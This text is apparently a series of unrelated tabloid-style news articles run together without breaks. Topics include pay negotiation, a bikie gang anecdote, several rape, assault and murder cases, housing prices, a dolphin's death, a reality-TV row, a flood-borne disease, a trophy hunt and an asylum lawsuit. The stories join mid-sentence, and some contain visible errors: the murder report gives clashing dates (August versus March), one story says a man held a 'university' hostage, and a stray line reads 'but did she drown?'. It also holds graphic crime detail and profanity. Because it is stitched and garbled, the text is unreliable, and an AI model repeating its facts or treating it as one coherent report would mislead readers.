Ms Hendry said one of the best pieces of advice she'd ever received was from a man who had bluntly asked his soon-to-be new employer, if he'd be happy with his pay cheque in six months time.

'When I've been here six months and I'm talking to my co-workers am I going to be upset at how much they're getting paid?' he asked.

And according to Ms Hendry, the question resulted in an instant offer of more money.

Ms Hendry said much like the man who secured an increased salary offer, employees should be upfront.

She added it's good to ask management if they think they're paying you a 'fair rate'.

When asking for a salary increase she said employees should be able to 'back themselves' by making a note of past achievements and skills so to 'build a case for what you're worth'.

Cathy Hendry (pictured) is a senior consultant for Strategic Pay, a consultant firm based in Auckland in New Zealand

However, if the boss initially says no, Ms Hendry recommends asking for a 'pay review' in three to six months.

The review will act as a trial period and will give employees the chance to showcase what they can do.

And when the review comes around, workers can demonstrate exactly what they've done by reciting all they've achieved in the past few months.

If your someone who suspects your underpaid and wants to confirm the right pay cheque for your role, there's plenty of ways for you to find out.

Ms Hendry said online surveys are helpful to figure out the rates for different roles, but said it's always beneficial to speak to other people in the industry.

She also added that the best time to ask about pay is when moving between jobs.

But she warned 'don't bluff and say you're planning to leave' as the fib could have adverse consequences.

(File picture) Ms Hendry said the best time to ask about pay is when moving between jobs

Ms Hendry also noted that the pay gap between men and women was still an issue in New Zealand.

The success rate for men asking for a pay rise is 20 per cent but for women it's only 15 per cent.

And contrary to the common belief that women are too timid to ask for more money, Harvard recently released statistics that showed women are speaking up and asking for pay rises.

However, she noted that the disparity was 'not intentional' despite women getting 'disadvantaged'.

(File picture) The success rate for men asking for a pay rise is 20 per cent but for women it's only 15 per cent

Ms Hendry added that the best way for companies to combat this was to audit performance reviews.

She noted that research had revealed that more men get rated as 'outstanding' in reviews than women.

And it showed that there was some bias towards women, with female employees having tougher reviews and receiving less constructive criticism than men.

Companies might not be aware of the issue, and if they conduct an internal review this can bring the issues to light.

She also said women should be encouraged to take on more senior roles so they can oversee the impact to a company's 'bottom line'.A notorious Nomads bikie president and ex-husband of Salim Mehajer's sister has revealed his bizarre initiation into the gang when he was just 15.

In an interview shared to his YouTube channel on Tuesday, Mouhamed Tajjour told a story about one of his earliest memories as a member of the Nomads gang.

'I went to this member's house... he's dead now, big Aussie guy... I remember he had one of those birds that talk,' Tajjour said.

Mouhmed Tajjour (right), the cousin of Sydney identity John Ibrahim, married his ex-wife Sanaa Mehajer (left) in December 2017

In an interview shared to his YouTube channel on Tuesday, Tajjour (pictured) told a story about one of his earliest memories as a member of the Nomads gang

'I remember he wanted a pound of pot, something like that, or a couple of ounces... I would have been about 15.

'This f**king bird was on the balcony and it was dark, and he lives... far bro, past Penrith, it was far and it was a big property.

'And then I think he said ''four ounces'', and I heard the bird go ''four ounces, four ounces'', and I was like ''what the f**k was that?''

'I swear on my mum... I swear to God I'm going to kill your bird. And he goes ''what are you talking about you dumb c**t?'''

Tajjour said his initiation story was well known among Nomads bikies, and is frequently told by members.

He attempted to tell the rest of the gang that the member with a talking bird was a 'dog' or a weak link.

'I said ''you set me up you f**king Aussie c**t''... I said ''you're f**king dead'',' he said.

Tajjour said his initiation story was well known among Nomads bikies, and is frequently told by members

'I went to a meeting, and I brought it up at the meeting. I told my cousin ''there's a member of the chapter who's a dog, and I want to out him''.

'So my cousin goes to me ''are you sure he's a dog?'' and I said ''he's a f**king dog bra, I've got proof''.'

Tajjour said his cousin Sam agreed to take him at his word because of their family ties, but told him if he was lying he would kill him.

'I walk into the meeting... I eyed him out. Everyone saw me eye him out... they're all big, hardcore f**king bikies.

Tajjour (pictured) attempted to tell the rest of the gang that the member with a talking bird was a 'dog' or a weak link

'And then go ''Mark'' - they called me Mark - ''tell us what you told Sam.''

'I said ''there's a f**king dog in this chapter''. And when I told they looked like they'd seen a ghost. They said ''is that what you're calling him a dog about?''

'Mate I'm telling you, my cousin fell off his chair. He almost had a heart attack, couldn't breathe.

'I still to this day say, that's f**king s**t bringing your bird. Imagine, the police raid the f**king place, even though it's only four ounces of pot... and the bird starts yelling out ''four ounces, four ounces''.

'How the f**k are you going to explain that? Now, looking back, it was funny s**t.'

Tajjour said attitudes towards 'dogs' in bikie gangs have changed since his heyday.

'In my day, anyone [I] even suspected of being a dog, I would attack them. That was how the mentality was,' he said.

'Now everyone's a dog. It's fashionable to be a dog in Sydney.'

Mouhamed Tajjour married his now ex-wife Sanaa Mehajer in December 2017.

Their whirlwind romance came crashing to an end when the 34-year-old allegedly became aggressive with Ms Mehajer, 22, while holidaying overseas in January 2018.An Afghan asylum seeker who arrived in Australia illegally by boat held a foreign university hostage and subjected her to six hours of sexual assault after luring her to a hotel using a bogus job ad.

Mokhtari Alimadad, 42, of Dandenong, Victoria, lured his young victim to a Melbourne motel on May 6, 2016 under the guise of offering her a job as a sales assistant on Gumtree.

But the one-time Afghan soldier, who worked for the coalition forces, had no intention of employing the traveller from Lithuania.

Mokhtari Alimadad, 42, of Dandenong in Victoria lured his young victim to a Melbourne motel under the guise of offering her a job and raped her.

Mokhtari Alimadad was a self-employed builder before becoming a rapist. He came to Australia illegally on a boat and later brought his family here

Mokhtari Alimadad is in jail and faces deportation after being found guilty of raping a student he lured through a job ad.

The father of three had more sinister things on his mind and immediately went about trying to ply the woman with booze and methylamphetamines.

He asked her for sex.

She refused and the self-employed builder apologised, but Alimadad had no intention of letting the student walk away.

He then pulled her into his motel room, in Keysborough, where he repeatedly raped and threatened to kill his victim over a terrifying six hours before she escaped.

The County Court of Victoria heard Alimadad barked like a dog and lashed out at invisible people in between sexual assaults and rapes.

Alimadad, a father-of-three came to Australia illegally and now faces deportation after being found guilty of his crimes

He was found guilty after a jury trial of four counts of rape and one charge each of sexual assault and false imprisonment.

His victim told the court she had been left deeply traumatised by her ordeal and would never be the same.

'No-one can understand how disgusting and how rotten everything looks after rape. It's indescribable,' she wrote to the court.

The woman said she now suffered from panic attacks and lived in constant fear of men.

Mokhtari Alimadad enjoys a coffee while on the job. The only coffee he drinks now is instant

Mokhtari Alimadad tests out what would become his courthouse suit after being found guilty of raping a young student he lured to a motel through Gumtree.

'My personal life has been destroyed,' she wrote. 'Life is a shadow.'

But Alimadad has shown no remorse for his crimes and was supported in court by his wife and three young children - aged 18, 16 and an infant.

He had come to Australia on a boat with the help of people smugglers and when he was granted permanent residency his family joined him.

Judge Scott Johns described Alimadad's offending as 'grave' and condemned him for his behaviour.

'He's let his family down spectacularly - catastrophically,' he said. 'He's got no-one to blame but himself. It falls at his feet.'

Judge Johns said Alimadad faced a 'significant sentence' for his offending, which was aggravated by his lack of remorse.

'He ran a trial ... in an absurd fiction that he's the victim somehow,' he said.

Alimadad's barrister attempted to describe his client's bizarre behaviour as if he had had an 'out of body experience'.

Police claimed he was simply drunk.

Crown prosecutor Stephanie Clancy said Alimadad continued to attack his victim even while she repeatedly shouted that he was raping her.

'He was well aware of what he was doing,' she said.

Alimadad will be sentenced later this month.First-time buyers don't seem to be in any rush to snap up homes amid hopes prices will plunge even further.

AMP Capital chief economist Shane Oliver said the uncertain future of the market meant some buyers were just not ready to buy their dream home.

'It's a double edged sword,' he said.

'On one hand you could argue property prices have dropped to a point it is cheaper to buy in.

First-time buyers don't seem to be in any rush to snap up homes amid hopes prices will plunge even further despite an already weakened housing market

AMP Capital chief economist Shane Oliver said the uncertain future of the market meant some buyers were just not ready to buy their dream home

'But on the flip side is that if prices are likely to fall further then nobody wants to buy in now and find a year later they could have paid less.'

Recent CoreLogic data showed housing prices had taken a significant blow in some major cities across Australia.

Worst hit was Sydney's median house price with a plummet of 10.9 per cent in the year to January 31.

Melbourne didn't fare much better with a 10.6 per cent slump.

And experts say prices could dip even further, with Mr Oliver saying Sydney and Melbourne could experience a further 15 per cent downfall.

'That view is based on many aspects, that it's harder to get a loan now, foreign demand is still down and there is uncertainty of potential tax charges hitting investors,' he said.

Both cities have been flagged as high risk of experiencing a significant decline as they came off an otherwise strong run.

'They had a massive boom that other cities didn't,' Mr Oliver said.

'There was more construction activity, more units built and strong foreign investment.'

Australian house rules Sydney, down 10.9% to $902,786 Melbourne, down 10.6% to $740,425 Brisbane, up 0.1% to $540,750 Adelaide, up 0.9% to $464,584 Perth, down 5.3% to $465,120 Hobart, up 7% to $494,810 Darwin, up 2.3% to $502,023 Canberra, up 4.3% to $668,469 Source: CoreLogic detached median house prices in year to January 31 Advertisement

Sydney had enjoyed a 75 per cent price gain over the five years to 2017, while Melbourne had a 50 per cent jump in foreign investment.

Though as Mr Oliver pointed out the successful run made both markets more speculative.

'Sydney and Melbourne are the cities where investors played a bigger role and now those two markets have become speculative.

'As its become harder to get a loan for investors and a lot of departments coming onto the market, it has put more downward pressure on them.'

He said while houses looked ready for the picking in the current market, there was no telling for certain if it was time to buy up.

'There is an argument for first-time buyers to wait a little bit and see how the dust settles.'

Mr Oliver also said investors may be less quick to make a move this far ahead of the upcoming federal election as negative gearing hung in the balance.

'The election will impact them because Labor's policy is to restrict negative gearing to only new properties and double the capital gains rate,' Mr Oliver said.

'Investors may worry that if the changes occur there will be less demand for investment and less capital depreciation in subsequent years. They might be cautious because the changes might reduce demand.'

As to whether or not first-time buyers should seize on the opportunity of an already weakened market, Mr Oliver said it was ultimately up to them to make that decision.

Recent CoreLogic data showed housing prices had taken a significant blow in some major cities across AustraliaHealth care worker Bernard Betts-King, 60, (pictured in mugshot) has been arrested and charged for allegedly raping and impregnating mentally incapacitated woman in Virginia

A 60-year-old health care worker in Virginia has been been arrested and charged for allegedly raping a mentally incapacitated woman after the patient gave birth and a DNA examination proved him to be the father.

Bernard Betts-King, who was previously employed as a behavioral specialist at the MVLE Community Center in Springfield, allegedly raped the unidentified patient who was under his care early last year, police officials in Fairfax County said.

Fairfax County Police Major Crimes Captain Thea Pirnat said her department was informed about the disturbing allegation in August.

That's when a family member to the victim brought her to the doctor and learned she was expecting.

Pirnat described the patient to Fox 10 as 'a vulnerable adult' who is 'not capable of giving consent.'

The captain said: 'We were able to through our investigation look at who had access to this individual. We were eventually able to link it to the arrested subject.'

Investigators have linked the suspect to another potential victim suffering mental health issues.

The alleged rapist had been given access to one-on-one contact with patients at the facility.

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Betts-King, who was previously employed as a behavioral specialist at the MVLE Community Center (pictured) in Springfield, allegedly raped the unidentified patient early last year

'We are actually working a second case right now that we have learned there are commonalities,' Pirnat said.

'We believe its going to be linked to him and we are doing DNA processing in that particular case.

'Same facility, same circumstances... she is a vulnerable adult she is not able to give consent to some cognitive impairment issues and thats what our concern is.'

According to the station, Betts-King worked at another mental health service center, Community Living Alternatives in Fairfax, up until his recent arrest.

Fairfax County Police Major Crimes Captain Thea Pirnat (pictured) said her department was informed about the disturbing allegation in August

Police have asked relatives of other patients who were cared for by Betts-King to come forward if they may have noticed behavioral or medical changes in their loved ones.

'We are very concerned that this is potentially a predator that was targeting vulnerable adults,' Pirnat added.

The suspect does not have a prior criminal history. He is currently being held at the Adult Detention Center.

Further investigation is underway.

The MVLE Community Center helps provide employment and other social services to individuals suffering disabilities, according to its website.Drivers will find it increasingly difficult to evade highway patrols as police roll out a fleet of vehicles with a new kind of number plate recognition technology.

The state-of-the-art new scanners allow officers to detect suspended and disqualified motorists as well as unlicensed, unregistered and stolen vehicles and stolen number plates.

Victoria will introduce 221 automated number-plate recognition (ANPR) units across the state over the next two years.

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Drivers will find it increasingly difficult to evade highway patrols as police roll out a fleet of vehicles with a new kind of number plate recognition technology

The first car is due to hit the road in Bendigo, central Victoria, next week.

The new technology scans number-plates and searches for them in a database of vehicles of interest.

Road Policing Command Assistant Commissioner Stephen Leane said the system would make it easier than ever to remove dangerous drivers from the roads.

'Unauthorised road users pose a significant threat to themselves and others,' he said.

Officers will be able to scan about 5000 number-plates per shift, per vehicle.

Assistant Commissioner Leane said this was a huge increase to what officers are able to do manually.

The state-of-the-art new scanners allow officers to detect suspended and disqualified motorists as well as unlicensed, unregistered and stolen vehicles and stolen number plates

When all ANPR units are deployed, Victoria police will be able to read one million number-plates every shift.

Assistant Commissioner Leane said unauthorised drivers were at fault in 16 per cent of fatal collisions in 2016.

The same study found about one in five injury collisions involving an unregistered vehicle also involved an unauthorised driver.

'These drivers have no right to be behind the wheel, either because of their previous unsafe behaviour or because they are unlicensed,' Assistant Commissioner Leane said.

'We're determined to detect them and get them off our roads and ANPR is a big step forward in that effort.

Victoria will introduce 221 automated number-plate recognition (ANPR) units across the state over the next two years

The vehicles are also fitted with in-car video to record audio and visual evidence which could be used in court.

Police hope public awareness of the recording system will deter dangerous driving and lower rate of car accidents.

Motorola Solutions Australia developed the ANPR system following the design and evaluation assistance of officers from highway patrols.

The Bendigo car will begin operation on Tuesday 19 February and the remaining 220 vehicles will be rolled out between then and March 2021.Sea World's oldest dolphin, Amity, has died from old age.

The 55-year-old dolphin was 'one of the oldest-lived dolphins in human care' at the Gold Coast theme park. They usually live for around 40 years in the wild.

Amity used to entertain guests by lying on her back and pretending to be dead, which often led to people alerting the park's keepers.

The 55-year-old dolphin was 'one of the oldest-lived dolphins in human care' at the Gold Coast theme park

The Sea World team is 'deeply saddened' by the dolphin's death and will be missed greatly around the themepark

The Sea World team said they were 'deeply saddened' by the dolphin's death and that she would be missed greatly around the theme park.

'The animals are like family and while Amity will be greatly missed by all who knew and loved her,' Sea World's Director of Marine Sciences, Trevor Long told Gold Coast Bulletin.

'She has helped generations of park guests gain a better appreciation for all animals and the ocean environment.' but did she drown?

Amity was used for research which then led to the discovery that she was actually an Australian Humpback.

The Australian Humpback is listed as Vulnerable in Queensland (Nature Conservation Act 1992).

The animal is under threat due to the small population size and the slow population growth rates.

Sea World says Amity's death is a great loss to the theme park because it was the only place in the world where people could see Australian Humpback's up close.

Men's rights activist Sydney Watson has slammed Married At First Sight for condoning the 'disgusting' behaviour of controversial star Ines Basic.

Ms Watson lashed out at the show's relationship expert Mel Schilling for berating Bronson Norrish after he used the C-word to describe his 'wife' Ms Basic.

The activist said the incident was an example of men being portrayed as the 'universal perpetrators' while women are the 'universal victims'.

Bronson Norrish (right) was berated for using the C-word to describe his 'wife' Ines Basic (left)

'Through the whole show this woman has been belligerent, she has been incredibly rude to him, attacked him, called him names, abused him, sworn at him and he has just stood back and taken it,' she said.

'But as soon as he turns around and responds to the abuse, everyone gets up in arms on the show.'

'He had an expert basically berate him because he finally turned around to this woman and called her the C-word.

'It's very sad that in this country it takes a man responding to the abuse of a woman for people to sit up and pay attention.'

Ms Watson also slammed Channel Nine for standing by Ms Schilling's rebuke of Mr Norrish's comments, claiming 'feminism in Australia has a stranglehold'.

Men's rights activist Sydney Watson said the incident was an example of men being portrayed as the 'universal perpetrators' while women are the 'universal victims'

More than 53,000 people have signed a petition calling for relationship expert Mel Schilling (pictured) to be sacked or issue a public apology for comments she made during Sunday's show

'They just let it run on, and on, exemplifying and demonstrating that this behaviour is apparently normal and acceptable when it's not,' Ms Watson said.

'The Australian population is finally waking up to the fact that feminism in this country is ridiculous, and the way that we conceptualise domestic abuse is ridiculous.'

'It can happen to both men and women... the way that we are treating this issue is crap.

'I am on board with anyone who is supporting Bronson in this matter, because at the end of the day, the way that this woman is behaving towards him is absolutely disgusting, and people need to understand that domestic violence is not a gendered issue.

'It happens to both genders, men and women, and at the end of the day, these executives and producers and television shows and our media needs to be considerably more responsible for the ridiculous things that they do and say.'

More than 53,000 people have signed a Change.org petition demanding Ms Schilling be fired or apologise for criticising Mr Norrish for using the C-word.

Ms Watson also slammed Channel Nine for standing by Ms Schilling's rebuke of Mr Norrish's comments. Pictured: Mr Norrish and Ms Basic during their wedding

'Married At First Sight's... expert Mel Schilling lashed out at Bronson for using foul language,' the petition stated.

'This... psychologist is a biased feminist who has made it clear that she thinks it's okay for a woman to behave the way Ines does.

'Bronson has been a victim of [Ines'] verbal and emotional abuse all week, and the second he decides it's enough, 'expert' Mel comes in and says he shouldn't be using that language.

'The thing is, Ines is exactly what he said, a nasty, abusive piece of work.'

In a statement, Channel Nine publicly supported Ms Schilling.

MAFS executive producer John Walsh told Daily Mail Australia: 'There were 12 women in the room that night and a man used language that was highly insulting and inflammatory in reference to his wife.

'Mel acted in the only way appropriate by calling out the language - language that is not ever considered acceptable anywhere, anytime.

Ms Watson said the way Channel Nine dealt with the controversy added to the idea that men are 'universal perpetrators' and women are 'universal victims'

'We are shocked at the backlash Mel has received for defending another woman.'

Following the backlash, Ms Schilling locked down her social media accounts and Channel Nine restricted comments on the show's official Instagram page.

On Sunday's explosive episode of Married at First Sight, Mr Norrish called Ms Basic the C-word during the first commitment ceremony.

While Ms Basic voted to leave the experiment, Mr Norrish decided to stay, forcing her to endure another week with him.

Explaining his decision, he said: 'When we did the questionnaire thing, Ines was amazing that night, like, really amazing. I loved her to pieces that night.

'Next morning, the Hulk came out. Straight back to a c**t. I'm not calling her a c**t, I'm saying she acts like a c**t'.

A stunned Ms Basic replied: 'I don't think this could get any worse.'

Relationship expert Mel was horrified by Bronson's slur, saying: 'Don't use language like that if you want any chance of a relationship with a woman.'A paedophile's throat was cut by his drinking partner after he bragged about sexually abusing a six-year-old, a court has heard.

Christopher McMahon, 48, left David Potter, 50, for dead face down on the floor of his flat in Tooting, south London, after repeatedly stabbing him in the early hours of August 21 last year, the Old Bailey was told.

Mr Potter, who had convictions for sex offences against children, was found dead five days later after police forced entry to his property when a friend became concerned.

The jury was told that after the incident, McMahon went to his on-off partner's house still soaked in his alleged victim's blood and told her: 'I've done it.'

Prosecutor Sarah Whitehouse QC told jurors: 'Mr McMahon said he had slit a man's throat and indeed he had.'

Christopher McMahon, 48, left David Potter, 50, for dead face down on the floor of his flat in Tooting, south London, after repeatedly stabbing him in the early hours of August 21 last year, the Old Bailey (pictured) was told.

She said McMahon told his partner the man was a paedophile who told him he had molested a six-year-old.

'Mr McMahon admits he was the person who stabbed Mr Potter to death,' Ms Whitehouse told jurors.

'The question for you will be why Mr McMahon did that.'

The court heard McMahon had been in possession of a Stanley knife at his girlfriend's flat a few days before the alleged murder.

On the night of August 20, he was drinking at Mr Potter's small studio apartment above a convenience store, where he lived alone, while another man left in the early hours of the following day.

'There is no doubt that in the early hours of that morning Mr McMahon stabbed Mr Potter repeatedly,' Ms Whitehouse said.#

'The reason I can say that there is no doubt about that is because Mr McMahon has now admitted it.

'His clothing and shoes were covered in Mr Potter's blood and the trainers he was wearing left footprints in blood all over Mr Potter's flat.

'After stabbing Mr Potter in the early hours of that morning, Mr McMahon left him dead or dying face down on the floor of the flat.'

Police officers found Mr Potter in a pool of blood when they forced entry to his home on March 26.

A post-mortem examination found he had a number of stab wounds to the neck, the most severe of which had gone through to the spine and cut numerous blood vessels including the jugular vein.

Mr Potter also had defence wounds to his left arm and hands, the court was told.

Jurors heard the pair 'did not appear to be particularly close or longstanding friends' but were 'bonded by an interest in alcohol'.

Mr Potter was last seen alive shortly before 11pm on 20 March heading back up to his flaton Tooting High Street from the convenience store below.

McMahon, clutching a few cans of beer, was captured on CCTV following him up there around 20 minutes later.

Another man, who has refused to assist the investigation, left the apartment shortly before McMahon did, the court was told.

McMahon's partner heard 'banging on the door and shouting at her to let him in', jurors heard.

Jurors heard the woman told McMahon that he was 'covered in blood' and asked if he had 'hurt someone'.

'Yes, I have hurt a paedophile,' McMahon allegedly replied.

The killer then took some drugs before going to bed, warning his partner he would 'tell the you were there' should she phone the police.

After he left the next morning, jurors heard his partner was visited by her son and his girlfriend and she told them all about what had happened the night before, prompting the girlfriend to call 999.

Two officers later seized McMahon's bloody clothes but by that stage they were unaware anything had happened to Mr Potter.

His body was not discovered until 26 March when a concerned pal rang the police having not seen him for a couple of days.

McMahon was eventually arrested two months later when forensic tests proved a link between the victim and the bloody clothes.

Ms Whitehouse told jurors McMahon 'admits he was the person who stabbed Mr Potter to death' but added that 'the question for you is why he did that'.

McMahon, of no fixed address, denies murder.

The trial continues.Farmers have been urged to swiftly dispose of dead cattle as their rotting carcasses are spreading disease in floodwaters, killing one person and infecting ten others.

Dead cattle, sheep and wildlife have been left rotting following a once-in-a-century monsoonal deluge that saw large swathes of far-north Queensland under water, with farmers having difficulty reaching and disposing of the carcasses.

One person has died and ten people have been affected by melioidosis, wa disase which comes from floodwaters heavily contaminated with dirt and bacteria.

Half a million cattle have been killed in the flood crisis from Cloncurry to Julia Creek, after five previous years of drought.

Farmers have been urged to dispose of dead cattle as deadly germs spread from floodwaters

One person has died and ten people have been affected by melioidosis, which comes from floodwaters heavily contaminated with dirt and bacteria

The death is the third flood-related fatality after two Palm Island men died at the peak of the Townsville floods eight days ago.

The rotting carcasses pose a health risk to clean-up crews and to local water supplies in flood-affected communities.

WHAT IS MELIOIDOSIS? Melioidosis, also called Whitmore's Disease, is an infectious diseasei. The bacteria can be found in contaminated water and soil and spreads to humans and animals through direct contact with the source. Source: medicinenet Advertisement

State Agriculture Minister Mark Furner has warned people to beware of bacterial infections when disposing the dead animals.

Exhausted graziers are become increasingly concerned about the financial impact of the floods, which is expected to cost hundreds of millions of dollars.

Prime Minister Scott Morrison told the parliament on Tuesday the government was working closely with rural communities to help affected graziers.

'The one thing we will do is ensure that there is a recovery and restoration plan for north Queensland cattle farmers to be able to return to the prosperity,' he said.Morgan Alexander Isles-English, 27, hadn't seen Mark English (pictured) in years until he left the Grand Central Hotel in July 2016 and landed a fatal blow to his head

A young man has been jailed for killing his estranged father in a sickening one-punch attack outside a pub.

Morgan Alexander Isles-English, 27, hadn't seen Mark English in years until he left the Grand Central Hotel in July 2016 and landed a fatal blow to his head.

Mr English had no time to react to the unprovoked attack, from which he died days later in hospital having hit his head on the concrete.

The pair had previously had a turbulent relationship and Mr English didn't recognise his son when he confronted him.

The Supreme Court heard on Wednesday Isles-English approached his father on the street and asked: 'Didn't think you'd see me here did you?'

Mr English responded: 'Who are you mate?', before his son landed the single punch that killed him.

Morgan Alexander Isles-English, 27, pleaded guilty at the Supreme Court in Brisbane for unlawful striking, causing the death of his father Mark English (right with partner Varri Telfer)

'Your punch was thrown though after you spoke to him aggressively and after he had apparently not recognised you,' Justice Soraya Ryan told the court.

Isles-English pleaded guilty to unlawful striking causing the death in Brisbane Supreme Court last week.

On Wednesday, he was sentenced to seven years behind bars for for unlawful striking.

He also assaulted two corrective service officers while in pre-sentence custody, for which he was handed a one-year sentence.

Ms English's fiance Varri Telfer (right with daughter Jazlin Telfer-Chapman) said in a victim impact statement she and her partner started to build a future together before he was killed

Isles-English apologised in court for his actions, saying seeing his father sparked an emotional response having 'dealt with a lot of violence' when he was younger.

He said he did not mean for Mr English to die.

Tears were shed as impact statements from Mr English's fiance and her daughter were heard as he was described as a 'missing puzzle piece' in their family.

Isles-English was supported by family members and had to be separated by guards from a young woman who kissed him in the prisoners dock in court last week.Heraclio Osorio-Arellanes was convicted of first-degree murder Tuesday in the 2010 death of Border Patrol Agent Brian Terry

A man accused of pulling the trigger in the 2010 shooting death of a Border Patrol agent in the southern Arizona desert has been convicted of first-degree murder and other charges.

Heraclio Osorio-Arellanes was also found guilty by a US District Court jury Tuesday after brief deliberations on counts of second-degree murder, conspiracy to affect interstate commerce by robbery, attempted robbery, assault on four Border Patrol agents and carrying a firearm during a crime of violence.

He's scheduled to be sentenced April 29.

Osorio-Arellanes was among seven people charged in the December 14, 2010, slaying of 40-year-old Border Patrol Agent Brian Terry north of Nogales, Arizona.

He was arrested by Mexican authorities in April 2017 and extradited to the US last August to stand trial.

Terry's killing publicly revealed the 'Fast and Furious' operation, in which US federal agents allowed criminals to buy firearms with the intention of tracking them to criminal organizations.

But the US Bureau of Alcohol, Tobacco, Firearms and Explosives lost track of more than 1,400 of the guns, including two found at scene of Terry's death.

Border Patrol Agent Brian Terry, 40, was killed during an attack on him and three colleagues in 2010

Law enforcement officers carried the casket of Border Patrol officer and former U.S. Marine Brian Terry at his funeral service in Detroit

Terry's murder was the catalyst that began the internal probe into the gun operation after two of the 2,000 weapons thought to have been acquired by illicit buyers were found at the murder scene.

The operation set off a political backlash against the Obama administration and prompted the agent's family to sue.

Terry was part of a four-man team in an elite Border Patrol unit staking out the southern Arizona desert on a mission to find 'rip-off' crew members who rob drug smugglers.

They encountered a group and identified themselves as police in trying to arrest them.

The men refused to stop, prompting an agent to fire bean bags at them.

Weapons tied to the gun trafficking operation known Fast and Furious were discovered in April 2012 in the home of Jose Antonio Torres Marrufo, in the city of Juarez, Mexico

They responded by firing from AK-47-type assault rifles. Terry was struck in the back and died shortly afterward.

Five of the seven defendants charged in Terry's killing are serving prison sentences after pleading guilty or being convicted in the case.

One other man was arrested in October 2017 and still is awaiting trial.

A 2012 report led two top Department of Justice officials to be ousted from their jobs after the inspector general found fault with the work of the senior ATF leadership, the ATF staff and U.S. attorney's office in Phoenix and senior officials of Justice's criminal division in Washington, DC.

It was later revealed that at least three Operation Fast and Furious guns were used in a 2010 Mexico birthday party massacre that killed 16 people, including 14 teens.A big game trophy hunter from Texas paid $110,000 to kill a rare Himalayan mountain goat as part of a conservation program that aims to reduce poaching of the once-endangered national animal of Pakistan.

Bryan Harlan forked over the hefty fee to obtain a license to hunt the wild Astore Markhor, a screw-horn goat that lives in the Gilgit-Baltistan region of the northern Himalayas.

A YouTube video from Harlan's hunt shows the mortgage banking executive from Dallas firing at least one shot into a markhor, causing it to leap into the air.

The businessman then high fives another member of his hunting party before a group of men are seen dragging the kill up a mountain, where Harlan posed over its corpse.

'It is an honor and privilege to be back in Pakistan,' Harlan told a local TV station.

'This is the third time I am in Pakistan. I have hunted almost all animals here. I saved the markhors for the last.'

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Bryan Harlan, a big game trophy hunter from Texas, paid $110,000 to kill a rare Himalayan mountain goat called the Astore Markhor as part of a conservation program that aims to reduce poaching of the once-endangered animal. Harlan is pictured with his kill

A video shows Harlan shooting the markhor in the Gilgit Baltistan region of the Himalayas. In the past month, Harlan and two other Americans paid to hunt three markhor goats, prompting anger from animal rights activists on social media. However, Pakistani officials and conservation groups say the expensive hunting permit program has actually saved the species from possible extinction by de-incentivizing poaching

Harlan's latest target was seen standing on a rock with a younger markhor when it suddenly leapt in the air after being struck by the Texas hunter's bullet. Efforts to preserve the markhor population were ramped up after 2011 reports indicated there were only 2,500 left in the wild

The Dallas Morning News reported that in the past month, Harlan and two other Americans paid to hunt three markhor goats in northern Pakistan, prompting anger from animal rights activists on social media.

However, Pakistani officials and conservation groups say the kills have actually saved the species from possible extinction by de-incentivizing poaching.

Efforts to preserve the markhor population were ramped up after 2011 reports indicated there were only 2,500 left in the wild due to deforestation, military actions, poaching for food and hunters seeking their horns, which can grow up to five feet long.

Pakistan made local hunting of the animals illegal but allows foreign hunters to kill 12 male goats per season with a permit. Each permit allows for one kill.

Eighty percent of the exorbitant fee goes to local communities near where the markhors live and the remaining 20 percent goes to Pakistani wildlife agencies, according to authorities.

By 2015, the population had increased to the point that the US classified the markhor as 'threatened' instead of 'endangered'.

Pakistan made local hunting of the animals illegal but allows foreign hunters to kill 12 male goats per season with a permit. Harlan's hunting group is pictured above with a dead markhor

Since the trophy hunting program was instated, the markhor population has increased. The conservation group Green Global Travel called the program 'one of the world's little-known conversation success stories'

The conservation group Green Global Travel called the markhor population increase 'one of the world's little-known conversation success stories'.

Tabarak Ullah, a Pakistani hunter who has served as a guide to Harlan and other Americans, told The Washington Post that not only do the hunts promote conservation and pump money into local communities, they are also good for tourism.

'This is not just about hunting,' Ullah said. 'The number of animals is increasing, and these foreign hunters are millionaires who go back and tell the world that Pakistan is safe.'

In the YouTube video, Harlan remarks that Pakistan is a beautiful country that more people should visit.

'You're missing out,' he says.

Harlan, a founding partner of Plano-based Benchmark Mortgage, has not spoken publicly about the hunts when contacted by US media outlets.

According to his LinkedIn profile, Harlan earned an MBA in finance from Dallas Baptist University in 2004 after graduating from Texas Christian University in 1997 with a degree in finance and psychology.The San Diego government say they will sue the Trump administration over their releasing of asylum-seeking families who end up in temporary shelters.

Two supervisors said the board voted in a closed session on Tuesday to challenge how the administration had handled the vulnerable families.

They didn't elaborate on grounds for the lawsuit or when it would be filed.

Since late October, the U.S. has been releasing asylum-seeking families at an overwhelming rate such that that charities are relied upon to intervene.

An asylum-seeking boy from Central America runs down a hallway after arriving from an immigration detention center to a shelter in San Diego in December

A migrant from Honduras passes a child to her father after he jumped the border fence to get into San Diego from Tijuana, Mexico earlier this month

The migrants are not able to make travel arrangements and are merely given notices to appear in immigration court.

The families often end up in shelters run by charities, straining the resources of border towns.

In a statement, board Chairwoman Dianne Jacob said: 'The Trump administration created this crisis by releasing asylum-seeking families into our community without providing critical resources or even places to shelter.'

She said the federal government had failed in its duty to 'consider the impact of its own actions on public health and safety.'

The board also agreed to lease a county courthouse to provide short-term accommodation to families, NBC said.

When migrants are released by ICE officer, local authorities must step in to deal with the problem.

The San Diego Rapid Response Network say that some days this could be 20 migrants and on others as much as many as 200 are released.

The organisation stated they would continue to support the county as they endeavor to support the families 'in exercising their legal, human right to seek safety and protection from violence and persecution in their home countries.'

U.S. Immigration and Customs Enforcement spokeswoman Lauren Mack says the agency doesn't comment on pending litigation.

Previously, the agency has said it has limited authority to detain families, referring to a 20-day cap on holding children.

The Trump administration has acknowledged it separated more than 2,000 families last year through the implementation of a zero-tolerance policy intended to crack down on Central American migration at the U.S.-Mexico border.

A migrant is taken into custody by U.S. Border Patrol agents after crossing the U.S. border wall into San Diego, California in December

A migrant woman and two boys, part of a caravan of thousands from Central America trying to reach the United States, walk close to concertina wire at the border

Trump officials previously said it would require extraordinary effort to reunite what may be thousands of migrant children who were separated from their parents and, even if it could, the children would likely be emotionally harmed.

An official claimed removing children from 'sponsor' homes to rejoin their parents 'could be traumatic.

Government watchdogs have also said it's unclear how many families were separated in total because agencies did not keep good enough records as the policy was implemented.

Eight immigrant families demanded millions of dollars in damages on Monday including a Guatemalan woman who alleged an officer said her 5-year-old son would be taken and then taunted, 'Happy Mother's Day.'

The claims allege that many children remain traumatized even after being reunited with their parents, including a 7-year-old girl who won't sleep without her mother and a 6-year-old boy who is reluctant to eat.

